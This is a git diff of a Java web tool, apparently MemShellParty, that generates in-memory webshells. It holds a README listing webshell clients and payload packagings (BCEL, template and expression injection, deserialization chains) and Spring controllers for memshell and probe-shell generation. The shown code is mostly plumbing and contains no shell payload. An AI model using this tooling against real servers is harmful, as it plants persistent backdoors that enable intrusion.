- [x] [Suo5](https://github.com/zema1/suo5)
|
|
||||||
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
|
||||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
|
||||||
- [x] Custom
|
|
||||||
|
|
||||||
### 封装方式
|
|
||||||
|
|
||||||
- [x] BASE64
|
|
||||||
- [x] GZIP BASE64
|
|
||||||
- [x] JSP
|
|
||||||
- [x] JSPX
|
|
||||||
- [x] JAR
|
|
||||||
- [x] BCEL
|
|
||||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
|
||||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
|
||||||
- [x] Velocity、Freemarker、JinJava
|
|
||||||
- [x] 原生反序列化(CB 和 CC 链)
|
|
||||||
- [x] Agent
|
|
||||||
- [x] XXL-JOB Executor
|
|
||||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
|
||||||
- [ ] JNDI
|
|
||||||
- [ ] JDBC 连接
|
|
||||||
- [ ] 其他常见反序列化
|
|
||||||
|
|
||||||
## 本地构建
|
|
||||||
|
|
||||||
### 源代码构建
|
|
||||||
|
|
||||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
|
||||||
|
|
||||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
|
||||||
|
|
||||||
1. 使用 Git Clone 项目
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/web
|
|
||||||
|
|
||||||
bun install
|
|
||||||
|
|
||||||
bun run build
|
|
||||||
```
|
|
||||||
|
|
||||||
3. 构建后端项目,确保使用 JDK17 环境
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
|
||||||
```
|
|
||||||
|
|
||||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
java -jar \
|
|
||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
|
||||||
build/libs/boot-1.0.0.jar
|
|
||||||
```
|
|
||||||
|
|
||||||
也可这基础上再继续构建容器来使用
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
docker buildx build -t memshell-party:latest . --load
|
|
||||||
|
|
||||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### Dockerfile 一键构建
|
|
||||||
|
|
||||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
|
||||||
|
|
||||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
|
||||||
|
|
||||||
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
|
||||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
|
||||||
- CONTEXT_PATH: 后端访问前缀
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 基础构建
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.6.0 \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# 基础镜像启动,访问 127.0.0.1:8080
|
|
||||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
|
||||||
|
|
||||||
# 自定义访问路径构建
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.6.0 \
|
|
||||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
|
||||||
--build-arg CONTEXT_PATH=/memshell-party \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
|
||||||
docker run -it -p 8080:8080 \
|
|
||||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
|
||||||
memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
|
||||||
|
|
||||||
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
|
||||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
|
||||||
|
|
||||||
```text
|
|
||||||
location /memshell-party {
|
|
||||||
proxy_pass http://127.0.0.1:8080;
|
|
||||||
proxy_set_header Host $http_host;
|
|
||||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
|
||||||
proxy_set_header X-Forwarded-For $remote_addr;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_connect_timeout 3s;
|
|
||||||
proxy_read_timeout 300s;
|
|
||||||
proxy_send_timeout 300s;
|
|
||||||
proxy_buffer_size 16k;
|
|
||||||
proxy_buffers 8 64k;
|
|
||||||
proxy_busy_buffers_size 128k;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Contribute
|
|
||||||
|
|
||||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
|
||||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
|
||||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
|
||||||
|
|
||||||
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
|
||||||
|
|
||||||
## Thanks
|
|
||||||
|
|
||||||
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
@@ -0,0 +1,35 @@
|
|||||||
|
import http.server
|
||||||
|
import socketserver
|
||||||
|
|
||||||
|
PORT = 8000
|
||||||
|
TARGET_PATH = "/api/v1/data"
|
||||||
|
|
||||||
|
|
||||||
|
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
|
def do_POST(self):
|
||||||
|
if self.path == TARGET_PATH:
|
||||||
|
try:
|
||||||
|
content_length = int(self.headers['Content-Length'])
|
||||||
|
post_data_bytes = self.rfile.read(content_length)
|
||||||
|
post_data_str = post_data_bytes.decode('utf-8')
|
||||||
|
print("-----------------------------\n")
|
||||||
|
print(f"Client IP: {self.client_address}")
|
||||||
|
print(f"Request Header:\n{self.headers}")
|
||||||
|
print(f"Request Body:\n{post_data_str}")
|
||||||
|
print("-----------------------------\n")
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-type', 'application/json')
|
||||||
|
self.end_headers()
|
||||||
|
response_message = '{"status": "success"}'
|
||||||
|
self.wfile.write(response_message.encode('utf-8'))
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Parse POST failed: {e}")
|
||||||
|
self.send_response(500)
|
||||||
|
else:
|
||||||
|
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
||||||
|
self.send_response(404)
|
||||||
|
|
||||||
|
|
||||||
|
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
||||||
|
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
||||||
|
httpd.serve_forever()
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
import http from 'k6/http';
|
||||||
|
import {check, sleep} from 'k6';
|
||||||
|
|
||||||
|
export const options = {
|
||||||
|
rps: 4500,
|
||||||
|
vus: 10,
|
||||||
|
duration: '5m',
|
||||||
|
};
|
||||||
|
|
||||||
|
export default function () {
|
||||||
|
const res = http.get('http://localhost:8082/app/test');
|
||||||
|
check(res, {
|
||||||
|
'status is 200': (r) => r.status === 200,
|
||||||
|
});
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java")
|
||||||
id("org.springframework.boot") version "3.5.0"
|
id("org.springframework.boot") version "3.5.3"
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -26,14 +26,14 @@ dependencies {
|
|||||||
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation(project(":deserialize")) {
|
implementation(project(":packer")) {
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
}
|
}
|
||||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
implementation("org.springframework.boot:spring-boot-starter-web") {
|
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
}
|
}
|
||||||
implementation("org.apache.commons:commons-lang3:3.17.0")
|
implementation(libs.commons.lang3)
|
||||||
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
||||||
compileOnly("org.projectlombok:lombok")
|
compileOnly("org.projectlombok:lombok")
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
|
|||||||
@@ -1,12 +1,9 @@
|
|||||||
package com.reajason.javaweb.boot;
|
package com.reajason.javaweb.boot;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
import java.util.Arrays;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
@@ -16,8 +13,5 @@ public class BootApplication {
|
|||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
Server[] values = Server.values();
|
|
||||||
log.info("Supported servers: {}", Arrays.toString(values));
|
|
||||||
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,13 @@
|
|||||||
package com.reajason.javaweb.boot.api;
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||||
|
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -13,10 +16,23 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
|
|||||||
@RestControllerAdvice
|
@RestControllerAdvice
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class GlobalExceptionHandler {
|
public class GlobalExceptionHandler {
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.NOT_FOUND)
|
||||||
|
@ExceptionHandler(NoResourceFoundException.class)
|
||||||
|
public ResponseEntity<?> handleNoResourceException() {
|
||||||
|
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
|
@ExceptionHandler(GenerationException.class)
|
||||||
|
public ErrorResponse handleGenerationException(GenerationException exception) {
|
||||||
|
return new ErrorResponse(exception.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
@ExceptionHandler(Throwable.class)
|
@ExceptionHandler(Throwable.class)
|
||||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||||
log.error("请求出错", throwable);
|
log.error("Internal Exception", throwable);
|
||||||
return new ErrorResponse(throwable.getMessage());
|
return new ErrorResponse(throwable.getMessage());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@@ -25,11 +25,10 @@ public class ConfigController {
|
|||||||
@RequestMapping("/servers")
|
@RequestMapping("/servers")
|
||||||
public Map<String, List<String>> getServers() {
|
public Map<String, List<String>> getServers() {
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
for (Server server : Server.values()) {
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
if (server.getShell() != null) {
|
for (String supportedServer : supportedServers) {
|
||||||
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes();
|
||||||
servers.put(server.name(), supportedShellTypes.stream().toList());
|
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return servers;
|
return servers;
|
||||||
}
|
}
|
||||||
@@ -44,20 +43,21 @@ public class ConfigController {
|
|||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
for (Server value : Server.values()) {
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
AbstractShell shell = value.getShell();
|
for (String supportedServer : supportedServers) {
|
||||||
if (shell == null) {
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
|
if (server == null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
for (ShellTool shellTool : server.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool.name(), supportedShellTypes);
|
map.put(shellTool.name(), supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(value.name(), map);
|
coreMap.put(supportedServer, map);
|
||||||
}
|
}
|
||||||
return coreMap;
|
return coreMap;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,40 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class GeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public GenerateResponse generate(@RequestBody GenerateRequest request) {
|
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
|
||||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof JarPacker) {
|
|
||||||
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
|
|
||||||
} else if (packer instanceof AggregatePacker) {
|
|
||||||
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
|
|
||||||
} else {
|
|
||||||
return new GenerateResponse(generateResult, packer.pack(generateResult));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+40
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/memshell/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class MemShellGeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
||||||
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof JarPacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
|
} else if (packer instanceof AggregatePacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
} else {
|
||||||
|
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+33
@@ -0,0 +1,33 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/probe/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ProbeShellGeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
||||||
|
ProbeConfig probeConfig = request.getProbeConfig();
|
||||||
|
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
||||||
|
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof AggregatePacker) {
|
||||||
|
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
} else {
|
||||||
|
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class GenerateResponse {
|
|
||||||
private GenerateResult generateResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
|
||||||
this.generateResult = generateResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.generateResult = generateResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+3
-3
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
@@ -11,7 +11,7 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class GenerateRequest {
|
public class MemShellGenerateRequest {
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
private ShellToolConfigDTO shellToolConfig;
|
private ShellToolConfigDTO shellToolConfig;
|
||||||
private InjectorConfig injectorConfig;
|
private InjectorConfig injectorConfig;
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class MemShellGenerateResponse {
|
||||||
|
private MemShellResult memShellResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
||||||
|
this.memShellResult = memShellResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.memShellResult = memShellResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.config.*;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class ProbeShellGenerateRequest {
|
||||||
|
private ProbeConfig probeConfig;
|
||||||
|
private ProbeContentConfigDTO probeContentConfig;
|
||||||
|
private Packers packer;
|
||||||
|
|
||||||
|
@Data
|
||||||
|
static class ProbeContentConfigDTO {
|
||||||
|
private String host;
|
||||||
|
private int seconds;
|
||||||
|
private String server;
|
||||||
|
private String sleepServer;
|
||||||
|
private String reqParamName;
|
||||||
|
private String reqHeaderName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
|
return switch (probeConfig.getProbeMethod()) {
|
||||||
|
case DNSLog -> DnsLogConfig.builder()
|
||||||
|
.host(probeContentConfig.host)
|
||||||
|
.build();
|
||||||
|
case Sleep -> SleepConfig.builder()
|
||||||
|
.seconds(probeContentConfig.seconds)
|
||||||
|
.server(probeContentConfig.sleepServer)
|
||||||
|
.build();
|
||||||
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
|
.reqHeaderName(probeContentConfig.reqHeaderName)
|
||||||
|
.server(probeContentConfig.server)
|
||||||
|
.build();
|
||||||
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/10
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class ProbeShellGenerateResponse {
|
||||||
|
private ProbeShellResult probeShellResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
